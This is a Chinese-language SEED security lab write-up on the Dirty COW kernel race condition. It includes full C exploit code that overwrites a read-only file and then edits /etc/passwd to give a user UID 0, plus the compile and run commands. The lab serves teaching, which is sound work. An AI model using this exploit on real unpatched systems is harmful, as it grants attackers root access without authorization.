Dirty COW Attack Lab
1 概述
Dirty COW 漏洞是竞赛条件漏洞的一个有趣案例。它自 2007 年 9 月起就存在于 Linux 内核中,并于 2016 年 10 月被发现和利用。该漏洞影响包括 Android 在内的所有基于 Linux 的操作系统,其后果非常严重:攻击者可以通过利用该漏洞获得 root 权限。该漏洞存在于 Linux 内核的复制写入代码中。利用这个漏洞,攻击者可以修改任何受保护的文件,即使这些文件只有他们自己才能读取。
本实验室的目的是让学生获得有关 Dirty COW 攻击的实践经验,了解该攻击所利用的竞赛条件漏洞,并加深对一般竞态条件安全问题的理解。在本实验中,学生将利用 Dirty COW 竞态条件漏洞获得 root 权限。
实验环境 本实验室在预构建的 Ubuntu 12.04 虚拟机上进行了测试,该虚拟机可从 SEED 网站下载。如果你使用的是 SEEDUbuntu 16.04 虚拟机,此攻击将不起作用,因为内核中的漏洞补丁已被修补。
2 任务 1: 修改虚拟只读文件
这项任务的目的是利用 Dirty COW 漏洞写入只读文件。
2.1 创建虚拟文件
首先,我们需要选择一个目标文件。虽然该文件可以是系统中的任何只读文件,但我们将在此任务中使用一个虚拟文件,这样就不会在出错时损坏重要的系统文件。在根目录下创建一个名为 zzz 的文件,将其权限更改为普通用户只读,并使用 gedit 等编辑器在文件中随意添加一些内容。这里添加的内容是:"111111222222333333"。ubuntu中指令及输出如下:
从上述实验中,我们可以看出,如果让一个普通用户写入该文件,我们将失败,因为该文件在普通用户中是可读的。但是,由于系统中存在 “DirtyCOW” 漏洞,我们可以找到写入该文件的方法。我们的目标是用 “******” 替换 “222222” 这一部分。
2.2 设置内存映射线程
可以从实验室网站下载程序 cow_attack.c。该程序有三个线程:主线程、写线程和madvise线程。主线程会将 /zzz 映射到内存中,找到 “222222” 这一部分的位置,然后创建两个线程来利用操作系统内核中的脏牛漏洞。
/* cow_attack.c (the main thread) */
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
int main(int argc, char *argv[])
{
pthread_t pth1, pth2;
struct stat st;
int file_size;
// Open the target file in the read-only mode.
int f = open("/zzz", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char *position = strstr(map, "222222");
// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
在上述代码中,我们需要找到 “222222 ”字符串的位置。然后,我们启动两个线程:madvise线程和写线程。
2.3 设置写线程
下面列出的写线程的工作是将内存中的 “222222” 替换为 “******”。由于映射内存是 COW 类型的,因此该线程将无法修改映射内存副本中的内容,这不会对下面的 /zzz 文件造成任何改变。
/* cow_attack.c (the write thread) */
void *writeThread(void *arg)
{
char *content= "*******";
off_t offset = (off_t) arg;
int f = open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}
2.4 madvise线程
madvise线程只做了一件事:丢弃映射内存的私有副本,使页表指回原来的映射内存。
/* cow_attack.c (the madvise thread) */
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
2.5 发起攻击
如果交替调用 write() 和 madvise()系统调用,即一个调用在另一个调用结束后才调用,那么写操作将始终在私有副本上执行,我们将永远无法修改目标文件。攻击成功的唯一途径是在 write() 系统调用仍在运行时执行 madvise() 系统调用。我们不可能总是做到这一点,因此需要多次尝试。只要概率不是极低,我们就有机会。这就是我们在线程中无限循环运行两个系统调用的原因。编译cow_attack.c,并运行几秒钟。如果攻击成功,就可以看到修改后的 /zzz 文件。ubuntu中指令如下:
等待几秒后按下Ctrl-C终止程序,使用cat /zzz命令查看文件,可以发现文件已被修改为“111111******333333”,即表明攻击成功。
3 任务 2: 修改passwd文件以获得root权限
现在,让我们对一个真实的系统文件发起攻击,从而获得 root 权限。我们选择 /etc/passwd 文件作为目标文件。该文件所有用户可读,但非 root 用户无法修改。该文件包含用户账户信息,每个用户一条记录。假设我们的用户名为 seed . 下面几行显示了 root 和 seed 的记录:
上述每条记录都包含七个用冒号分隔的字段。我们感兴趣的是第三个字段,它指定了分配给用户的用户 ID(UID)值。UID 是 Linux 中访问控制的主要依据,因此该值对安全性至关重要。root 用户的 UID 字段包含一个特殊值 0;这是它成为超级用户的原因,而不是它的名字。任何 UID 为 0 的用户都会被系统视为 root 用户,无论其用户名是什么。seed 用户的 ID 只有 1000,所以它没有 root 权限。但是,如果我们能将该值改为 0,就能将其变为 root 用户。我们将利用 Dirty COW 漏洞来实现这一目标。在我们的实验中,我们将不使用 seed 账户,因为书中的大部分实验都使用该账户;如果我们在实验后忘记将 UID 改回,其他实验将受到影响。相反,我们将创建一个名为 charlie 的新账户,并使用 Dirty COW 攻击将这个普通用户变成 root 用户。使用 adduser 命令可以添加新账户。创建账户后,将在 /etc/passwd 中添加一条新记录。ubuntu中命令及输出如下:
现在,我们需要修改 /etc/passwd 中 charlie 的条目,将第三个字段从 1001 改为 0000,这样 charlie 基本上就变成了 root 账户。我们无法直接写入该文件,但我们可以使用脏牛攻击来写入该文件。
修改前面的 cow_attack.c 文件,得到如下所示的gain_root.c:
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
// Open the target file in the read-only mode.
int f=open("/etc/passwd", O_RDONLY); //*******修改1*******
// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char *position = strstr(map, "charlie:x:1001"); //*******修改2*******
// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
void *writeThread(void *arg)
{
char *content= "charlie:x:0000"; //*******修改3*******
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
共三处修改。修改完成后,使用下面的命令进行编译运行,等待几秒后按下Ctrl-C终止程序。
gcc gain_root.c -lpthread
a.out
再然后,使用以下命令登录 charlie 账户,输入 id 查看得到此时的 uid 为0,说明我们已成功获得 root 权限。